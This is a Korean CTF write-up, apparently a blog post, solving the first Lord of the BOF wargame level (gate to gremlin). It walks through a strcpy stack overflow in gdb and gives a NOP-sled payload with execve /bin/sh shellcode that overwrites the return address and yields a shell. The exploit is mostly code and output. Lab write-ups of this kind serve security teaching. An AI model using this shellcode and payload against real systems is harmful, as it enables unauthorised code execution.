[LOB] - gate -> gremlin 풀이
/*
The Lord of the BOF : The Fellowship of the BOF
- gremlin
- simple BOF
*/
int main(int argc, char *argv[])
{
char buffer[256];
if(argc < 2){
printf("argv error\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
LOB 첫번째 문제이다.
buffer 변수의 크기는 256bytes 인데, strcpy에서 argv[1]의 값을 buffer로 값을 복사하는 과정에서 bof 공격이 가능하다.
gdb로 분석하기 위해 gate 바이너리 파일을 복사한 후 분석을 진행하겠다.
[gate@localhost gate]$ mkdir tmp
[gate@localhost gate]$ cp gremlin ./tmp/gremlin_copy
[gate@localhost gate]$ cd tmp
[gate@localhost tmp]$ ls
gremlin_copy
[gate@localhost tmp]$ gdb -q gremlin_copy
(gdb)
공격 시나리오는 다음과 같다.
1. stack에 shellcode를 삽입한다.
2. stack의 주소를 알아낸다.
3. RET에 stack 주소를 삽입한다.
stack의 주소를 알아내기 위해 main 함수의 어셈블리어를 보면 main+54에서 strcpy 함수를 CALL하고 있다. 위 c 코드에서 인자를 2개 넘겨주었기 때문에 main+46과 main+53이 strcpy의 인자 값이다.
c코드를 보면 strcpy(buffer, argv[1]) 인데, 스택에서 인자값을 넣는다면 argv[1] -> buffer 순으로 스택에 저장이 된다.
즉 main+46은 argv[1]의 주소, main+53은 buffer의 주소이다. buffer의 주소를 찾은 것이다.!!
...
0x8048459 <main+41>: add $0x4,%eax
0x804845c <main+44>: mov (%eax),%edx
0x804845e <main+46>: push %edx
0x804845f <main+47>: lea 0xffffff00(%ebp),%eax
0x8048465 <main+53>: push %eax
0x8048466 <main+54>: call 0x8048370 <strcpy>
0x804846b <main+59>: add $0x8,%esp
0x804846e <main+62>: lea 0xffffff00(%ebp),%eax
0x8048474 <main+68>: push %eax
...
buffer의 주소를 알아내기 위해 main+53을 수행한 이후인 main+54에서 breakpoint를 걸어준 후, 맨 위에 쌓인 스택 값을 본다. argv[1] 값으로 123 이라는 값을 주고 run 한다.
(gdb)b *main+54
Breakpoint 1 at 0x8048466
(gdb) r 123
Starting program: /home/gate/tmp/gremlin_copy 123
Breakpoint 1, 0x8048466 in main ()
(gdb) x/wx $esp
0xbffffb90: 0xbffffb98
스택에 0xbffffb98 주소가 buffer의 주소이다. 이 주소의 값을 보면 아래와 같다.
(gdb) x/wx 0xbffffb98
0xbffffb98: 0x00005a62
buffer에 들어있는 값은 0x00005a62이다. strcpy 함수가 동작하기 전 이기 때문에 쓰레기 값이 들어있다.
어셈블리어 명령어 한줄을 실행시킨뒤 다시 0xbffffb98에 들어있는 값을 보자. 이번엔 쓰레기 값이 아닌 argv[1] 값인 123 값이 리틀엔디안으로 들어간 것을 볼 수 있다. 0xbffffb98 주소가 buffer인 것이 확신하다는 것을 알 수 있다.
(gdb) ni
0x804846b in main ()
(gdb) x/wx 0xbffffb98
0xbffffb98: 0x00333231
이제 buffer에 shellcode를 넣고 RET 주소에 buffer 주소를 넣고 실행하면 성공이다.
아래는 스택에 넣을 값을 정리한 것이다.
[Dummy code(256bytes)] + [SFP(4bytes)] + [RET]
[NOP + Shellcode(260bytes)] + [buffer addr(4bytes)]
shellcode는 아래 것을 사용했다. (25bytes)
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
최종적인 payload는 아래와 같다.
./gremlin_copy `python -c 'print "\x90"*235+
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+
"\x98\xfb\xff\xbf"'`
하지만 Segmentation fault가 뜬다. core 파일을 gdb로 분석해서 다시 buffer의 주소를 찾는다.
[gate@localhost tmp]$ ./gremlin_copy `python -c 'print "\x90"*235+"\x31\xc>
1Ph//shh/binS
̀
Segmentation fault (core dumped)
gdb 명령어로 core 파일을 분석해보면 0xbffffce0 주소에서 우리가 입력한 NOP Sled 값들이 들어간 것을 볼 수 있다. 이 주소에서 적당한 주소를 들고와 다시 RET에 overwrite한다. 필자는 0xbffffcea 값을 RET 주소로 했다.
[gate@localhost tmp]$ gdb -c core -q
Core was generated by `./gremlin_copy '.
Program terminated with signal 11, Segmentation fault.
#0 0xbffffb95 in ?? ()
(gdb) x/100wx $esp
0xbffffb90: 0x00000000 0xbffffbd4 0xbffffbe0 0x40013868
0xbffffba0: 0x00000002 0x08048380 0x00000000 0x080483a1
0xbffffbb0: 0x08048430 0x00000002 0xbffffbd4 0x080482e0
0xbffffbc0: 0x080484bc 0x4000ae60 0xbffffbcc 0x40013e90
0xbffffbd0: 0x00000002 0xbffffcd1 0xbffffce0 0x00000000
0xbffffbe0: 0xbffffde9 0xbffffdfc 0xbffffe3e 0xbffffe5d
0xbffffbf0: 0xbffffe7f 0xbffffe89 0xbffffe94 0xbffffeb3
0xbffffc00: 0xbffffecd 0xbffffee2 0xbffffefe 0xbfffff09
0xbffffc10: 0xbfffff16 0xbfffff1e 0xbfffff2f 0xbfffff39
0xbffffc20: 0xbfffff47 0xbfffff58 0xbfffff66 0xbfffff7a
0xbffffc30: 0xbfffff8a 0xbfffffca 0xbfffffdb 0x00000000
0xbffffc40: 0x00000003 0x08048034 0x00000004 0x00000020
0xbffffc50: 0x00000005 0x00000006 0x00000006 0x00001000
0xbffffc60: 0x00000007 0x40000000 0x00000008 0x00000000
0xbffffc70: 0x00000009 0x08048380 0x0000000b 0x000001f4
0xbffffc80: 0x0000000c 0x000001f4 0x0000000d 0x000001f4
0xbffffc90: 0x0000000e 0x000001f4 0x00000010 0x0f8bfbff
0xbffffca0: 0x0000000f 0xbffffccc 0x00000000 0x00000000
0xbffffcb0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffcc0: 0x00000000 0x00000000 0x00000000 0x36383669
0xbffffcd0: 0x672f2e00 0x6c6d6572 0x635f6e69 0x0079706f
0xbffffce0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffcf0: 0x90909090 0x90909090 0x90909090 0x90909090
---Type <return> to continue, or q <return> to quit---
0xbffffd00: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffd10: 0x90909090 0x90909090 0x90909090 0x90909090
(gdb) [gate@localhost tmp]$
다시 gremlin 파일에 인자 값을 넘기면 shell을 얻어낸 것을 알 수 있다.
[gate@localhost gate]$ ./gremlin `python -c 'print "\x90"*235+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\xea\xfc\xff\xbf"
1Ph//shh/binS
̀
bash$ whoami
gremlin
bash$ my-pass
euid = 501
hello bof world
bash$
'🚩CTF' 카테고리의 다른 글
[LOB] - cobolt -> goblin 풀이 (0) | 2019.10.04 |
---|---|
[LOB] - gremlin -> cobolt 풀이 (0) | 2019.10.04 |
[webhacking.kr 2019 old] - challenge 18 (0) | 2019.10.01 |
[webhacking.kr 2019 old] - challenge 17 (0) | 2019.10.01 |
[webhacking.kr 2019 old] - challenge 16 (0) | 2019.10.01 |
댓글
이 글 공유하기
다른 글
-
[LOB] - cobolt -> goblin 풀이
[LOB] - cobolt -> goblin 풀이
2019.10.04 -
[LOB] - gremlin -> cobolt 풀이
[LOB] - gremlin -> cobolt 풀이
2019.10.04 -
[webhacking.kr 2019 old] - challenge 18
[webhacking.kr 2019 old] - challenge 18
2019.10.01 -
[webhacking.kr 2019 old] - challenge 17
[webhacking.kr 2019 old] - challenge 17
2019.10.01